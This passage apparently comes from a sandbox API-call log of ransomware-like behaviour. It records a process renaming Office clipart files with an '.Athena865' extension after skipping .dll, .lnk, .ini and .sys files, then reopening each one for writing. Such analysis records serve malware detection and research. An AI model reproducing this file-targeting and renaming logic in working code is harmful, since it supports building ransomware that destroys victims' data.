(lpString1="J0196110.WMF", lpString2=".sys") returned 1 [0127.404] lstrlenW (lpString="J0196110.WMF") returned 12 [0127.404] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF.Athena865") returned 73 [0127.404] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf.athena865"), dwFlags=0x1) returned 1 [0127.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.406] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5326) returned 1 [0127.406] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.406] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.406] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.409] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0196142.WMF" | out: lpString1="J0196142.WMF") returned="J0196142.WMF" [0127.409] lstrlenW (lpString="J0196142.WMF") returned 12 [0127.409] lstrlenW (lpString="Athena865") returned 9 [0127.409] lstrcmpiW (lpString1="96142.WMF", lpString2="Athena865") returned -1 [0127.409] lstrlenW (lpString=".dll") returned 4 [0127.409] lstrcmpiW (lpString1="J0196142.WMF", lpString2=".dll") returned 1 [0127.409] lstrlenW (lpString=".lnk") returned 4 [0127.409] lstrcmpiW (lpString1="J0196142.WMF", lpString2=".lnk") returned 1 [0127.409] lstrlenW (lpString=".ini") returned 4 [0127.409] lstrcmpiW (lpString1="J0196142.WMF", lpString2=".ini") returned 1 [0127.409] lstrlenW (lpString=".sys") returned 4 [0127.409] lstrcmpiW (lpString1="J0196142.WMF", lpString2=".sys") returned 1 [0127.409] lstrlenW (lpString="J0196142.WMF") returned 12 [0127.409] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF.Athena865") returned 73 [0127.409] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf.athena865"), dwFlags=0x1) returned 1 [0127.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.411] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3826) returned 1 [0127.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.414] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0196354.WMF" | out: lpString1="J0196354.WMF") returned="J0196354.WMF" [0127.414] lstrlenW (lpString="J0196354.WMF") returned 12 [0127.414] lstrlenW (lpString="Athena865") returned 9 [0127.414] lstrcmpiW (lpString1="96354.WMF", lpString2="Athena865") returned -1 [0127.414] lstrlenW (lpString=".dll") returned 4 [0127.415] lstrcmpiW (lpString1="J0196354.WMF", lpString2=".dll") returned 1 [0127.415] lstrlenW (lpString=".lnk") returned 4 [0127.415] lstrcmpiW (lpString1="J0196354.WMF", lpString2=".lnk") returned 1 [0127.415] lstrlenW (lpString=".ini") returned 4 [0127.415] lstrcmpiW (lpString1="J0196354.WMF", lpString2=".ini") returned 1 [0127.415] lstrlenW (lpString=".sys") returned 4 [0127.415] lstrcmpiW (lpString1="J0196354.WMF", lpString2=".sys") returned 1 [0127.415] lstrlenW (lpString="J0196354.WMF") returned 12 [0127.415] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF.Athena865") returned 73 [0127.415] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf.athena865"), dwFlags=0x1) returned 1 [0127.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.416] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13702) returned 1 [0127.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.419] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0196358.WMF" | out: lpString1="J0196358.WMF") returned="J0196358.WMF" [0127.419] lstrlenW (lpString="J0196358.WMF") returned 12 [0127.419] lstrlenW (lpString="Athena865") returned 9 [0127.420] lstrcmpiW (lpString1="96358.WMF", lpString2="Athena865") returned -1 [0127.420] lstrlenW (lpString=".dll") returned 4 [0127.420] lstrcmpiW (lpString1="J0196358.WMF", lpString2=".dll") returned 1 [0127.420] lstrlenW (lpString=".lnk") returned 4 [0127.420] lstrcmpiW (lpString1="J0196358.WMF", lpString2=".lnk") returned 1 [0127.420] lstrlenW (lpString=".ini") returned 4 [0127.420] lstrcmpiW (lpString1="J0196358.WMF", lpString2=".ini") returned 1 [0127.420] lstrlenW (lpString=".sys") returned 4 [0127.420] lstrcmpiW (lpString1="J0196358.WMF", lpString2=".sys") returned 1 [0127.420] lstrlenW (lpString="J0196358.WMF") returned 12 [0127.420] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF.Athena865") returned 73 [0127.420] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf.athena865"), dwFlags=0x1) returned 1 [0127.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.421] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6912) returned 1 [0127.421] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.421] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.422] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.425] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0196364.WMF" | out: lpString1="J0196364.WMF") returned="J0196364.WMF" [0127.425] lstrlenW (lpString="J0196364.WMF") returned 12 [0127.425] lstrlenW (lpString="Athena865") returned 9 [0127.425] lstrcmpiW (lpString1="96364.WMF", lpString2="Athena865") returned -1 [0127.425] lstrlenW (lpString=".dll") returned 4 [0127.425] lstrcmpiW (lpString1="J0196364.WMF", lpString2=".dll") returned 1 [0127.425] lstrlenW (lpString=".lnk") returned 4 [0127.425] lstrcmpiW (lpString1="J0196364.WMF", lpString2=".lnk") returned 1 [0127.425] lstrlenW (lpString=".ini") returned 4 [0127.425] lstrcmpiW (lpString1="J0196364.WMF", lpString2=".ini") returned 1 [0127.425] lstrlenW (lpString=".sys") returned 4 [0127.425] lstrcmpiW (lpString1="J0196364.WMF", lpString2=".sys") returned 1 [0127.425] lstrlenW (lpString="J0196364.WMF") returned 12 [0127.425] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF.Athena865") returned 73 [0127.425] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196364.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196364.wmf.athena865"), dwFlags=0x1) returned 1 [0127.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196364.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.426] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5708) returned 1 [0127.426] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.427] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.427] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.430] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0197979.WMF" | out: lpString1="J0197979.WMF") returned="J0197979.WMF" [0127.430] lstrlenW (lpString="J0197979.WMF") returned 12 [0127.430] lstrlenW (lpString="Athena865") returned 9 [0127.430] lstrcmpiW (lpString1="97979.WMF", lpString2="Athena865") returned -1 [0127.430] lstrlenW (lpString=".dll") returned 4 [0127.430] lstrcmpiW (lpString1="J0197979.WMF", lpString2=".dll") returned 1 [0127.430] lstrlenW (lpString=".lnk") returned 4 [0127.430] lstrcmpiW (lpString1="J0197979.WMF", lpString2=".lnk") returned 1 [0127.430] lstrlenW (lpString=".ini") returned 4 [0127.430] lstrcmpiW (lpString1="J0197979.WMF", lpString2=".ini") returned 1 [0127.430] lstrlenW (lpString=".sys") returned 4 [0127.430] lstrcmpiW (lpString1="J0197979.WMF", lpString2=".sys") returned 1 [0127.430] lstrlenW (lpString="J0197979.WMF") returned 12 [0127.430] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF.Athena865") returned 73 [0127.430] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf.athena865"), dwFlags=0x1) returned 1 [0127.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.431] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=40230) returned 1 [0127.431] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.436] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0197983.WMF" | out: lpString1="J0197983.WMF") returned="J0197983.WMF" [0127.436] lstrlenW (lpString="J0197983.WMF") returned 12 [0127.436] lstrlenW (lpString="Athena865") returned 9 [0127.436] lstrcmpiW (lpString1="97983.WMF", lpString2="Athena865") returned -1 [0127.436] lstrlenW (lpString=".dll") returned 4 [0127.436] lstrcmpiW (lpString1="J0197983.WMF", lpString2=".dll") returned 1 [0127.436] lstrlenW (lpString=".lnk") returned 4 [0127.436] lstrcmpiW (lpString1="J0197983.WMF", lpString2=".lnk") returned 1 [0127.436] lstrlenW (lpString=".ini") returned 4 [0127.436] lstrcmpiW (lpString1="J0197983.WMF", lpString2=".ini") returned 1 [0127.436] lstrlenW (lpString=".sys") returned 4 [0127.436] lstrcmpiW (lpString1="J0197983.WMF", lpString2=".sys") returned 1 [0127.437] lstrlenW (lpString="J0197983.WMF") returned 12 [0127.437] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF.Athena865") returned 73 [0127.437] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf.athena865"), dwFlags=0x1) returned 1 [0127.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.438] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=26252) returned 1 [0127.438] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.439] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.439] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.443] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0198016.WMF" | out: lpString1="J0198016.WMF") returned="J0198016.WMF" [0127.443] lstrlenW (lpString="J0198016.WMF") returned 12 [0127.443] lstrlenW (lpString="Athena865") returned 9 [0127.443] lstrcmpiW (lpString1="98016.WMF", lpString2="Athena865") returned -1 [0127.443] lstrlenW (lpString=".dll") returned 4 [0127.443] lstrcmpiW (lpString1="J0198016.WMF", lpString2=".dll") returned 1 [0127.443] lstrlenW (lpString=".lnk") returned 4 [0127.443] lstrcmpiW (lpString1="J0198016.WMF", lpString2=".lnk") returned 1 [0127.443] lstrlenW (lpString=".ini") returned 4 [0127.443] lstrcmpiW (lpString1="J0198016.WMF", lpString2=".ini") returned 1 [0127.443] lstrlenW (lpString=".sys") returned 4 [0127.443] lstrcmpiW (lpString1="J0198016.WMF", lpString2=".sys") returned 1 [0127.443] lstrlenW (lpString="J0198016.WMF") returned 12 [0127.443] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF.Athena865") returned 73 [0127.443] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf.athena865"), dwFlags=0x1) returned 1 [0127.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.444] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=33948) returned 1 [0127.444] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.445] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.445] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.449] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0198020.WMF" | out: lpString1="J0198020.WMF") returned="J0198020.WMF" [0127.449] lstrlenW (lpString="J0198020.WMF") returned 12 [0127.449] lstrlenW (lpString="Athena865") returned 9 [0127.449] lstrcmpiW (lpString1="98020.WMF", lpString2="Athena865") returned -1 [0127.449] lstrlenW (lpString=".dll") returned 4 [0127.449] lstrcmpiW (lpString1="J0198020.WMF", lpString2=".dll") returned 1 [0127.449] lstrlenW (lpString=".lnk") returned 4 [0127.449] lstrcmpiW (lpString1="J0198020.WMF", lpString2=".lnk") returned 1 [0127.449] lstrlenW (lpString=".ini") returned 4 [0127.449] lstrcmpiW (lpString1="J0198020.WMF", lpString2=".ini") returned 1 [0127.449] lstrlenW (lpString=".sys") returned 4 [0127.449] lstrcmpiW (lpString1="J0198020.WMF", lpString2=".sys") returned 1 [0127.449] lstrlenW (lpString="J0198020.WMF") returned 12 [0127.449] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF.Athena865") returned 73 [0127.449] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf.athena865"), dwFlags=0x1) returned 1 [0127.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.451] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=23726) returned 1 [0127.451] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.451] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.451] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.454] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0198021.WMF" | out: lpString1="J0198021.WMF") returned="J0198021.WMF" [0127.454] lstrlenW (lpString="J0198021.WMF") returned 12 [0127.454] lstrlenW (lpString="Athena865") returned 9 [0127.454] lstrcmpiW (lpString1="98021.WMF", lpString2="Athena865") returned -1 [0127.454] lstrlenW (lpString=".dll") returned 4 [0127.454] lstrcmpiW (lpString1="J0198021.WMF", lpString2=".dll") returned 1 [0127.454] lstrlenW (lpString=".lnk") returned 4 [0127.455] lstrcmpiW (lpString1="J0198021.WMF", lpString2=".lnk") returned 1 [0127.455] lstrlenW (lpString=".ini") returned 4 [0127.455] lstrcmpiW (lpString1="J0198021.WMF", lpString2=".ini") returned 1 [0127.455] lstrlenW (lpString=".sys") returned 4 [0127.455] lstrcmpiW (lpString1="J0198021.WMF", lpString2=".sys") returned 1 [0127.455] lstrlenW (lpString="J0198021.WMF") returned 12 [0127.455] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF.Athena865") returned 73 [0127.455] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf.athena865"), dwFlags=0x1) returned 1 [0127.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.457] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=34912) returned 1 [0127.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.461] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0198022.WMF" | out: lpString1="J0198022.WMF") returned="J0198022.WMF" [0127.461] lstrlenW (lpString="J0198022.WMF") returned 12 [0127.461] lstrlenW (lpString="Athena865") returned 9 [0127.461] lstrcmpiW (lpString1="98022.WMF", lpString2="Athena865") returned -1 [0127.461] lstrlenW (lpString=".dll") returned 4 [0127.461] lstrcmpiW (lpString1="J0198022.WMF", lpString2=".dll") returned 1 [0127.461] lstrlenW (lpString=".lnk") returned 4 [0127.462] lstrcmpiW (lpString1="J0198022.WMF", lpString2=".lnk") returned 1 [0127.462] lstrlenW (lpString=".ini") returned 4 [0127.462] lstrcmpiW (lpString1="J0198022.WMF", lpString2=".ini") returned 1 [0127.462] lstrlenW (lpString=".sys") returned 4 [0127.462] lstrcmpiW (lpString1="J0198022.WMF", lpString2=".sys") returned 1 [0127.462] lstrlenW (lpString="J0198022.WMF") returned 12 [0127.462] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF.Athena865") returned 73 [0127.462] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf.athena865"), dwFlags=0x1) returned 1 [0127.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.464] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=26148) returned 1 [0127.464] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.464] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.464] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.467] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0198025.WMF" | out: lpString1="J0198025.WMF") returned="J0198025.WMF" [0127.467] lstrlenW (lpString="J0198025.WMF") returned 12 [0127.468] lstrlenW (lpString="Athena865") returned 9 [0127.468] lstrcmpiW (lpString1="98025.WMF", lpString2="Athena865") returned -1 [0127.468] lstrlenW (lpString=".dll") returned 4 [0127.468] lstrcmpiW (lpString1="J0198025.WMF", lpString2=".dll") returned 1 [0127.468] lstrlenW (lpString=".lnk") returned 4 [0127.468] lstrcmpiW (lpString1="J0198025.WMF", lpString2=".lnk") returned 1 [0127.468] lstrlenW (lpString=".ini") returned 4 [0127.468] lstrcmpiW (lpString1="J0198025.WMF", lpString2=".ini") returned 1 [0127.468] lstrlenW (lpString=".sys") returned 4 [0127.468] lstrcmpiW (lpString1="J0198025.WMF", lpString2=".sys") returned 1 [0127.468] lstrlenW (lpString="J0198025.WMF") returned 12 [0127.468] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF.Athena865") returned 73 [0127.468] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf.athena865"), dwFlags=0x1) returned 1 [0127.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.469] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15566) returned 1 [0127.469] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.469] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.470] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.473] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0198102.WMF" | out: lpString1="J0198102.WMF") returned="J0198102.WMF" [0127.473] lstrlenW (lpString="J0198102.WMF") returned 12 [0127.473] lstrlenW (lpString="Athena865") returned 9 [0127.473] lstrcmpiW (lpString1="98102.WMF", lpString2="Athena865") returned -1 [0127.473] lstrlenW (lpString=".dll") returned 4 [0127.473] lstrcmpiW (lpString1="J0198102.WMF", lpString2=".dll") returned 1 [0127.473] lstrlenW (lpString=".lnk") returned 4 [0127.473] lstrcmpiW (lpString1="J0198102.WMF", lpString2=".lnk") returned 1 [0127.473] lstrlenW (lpString=".ini") returned 4 [0127.473] lstrcmpiW (lpString1="J0198102.WMF", lpString2=".ini") returned 1 [0127.473] lstrlenW (lpString=".sys") returned 4 [0127.473] lstrcmpiW (lpString1="J0198102.WMF", 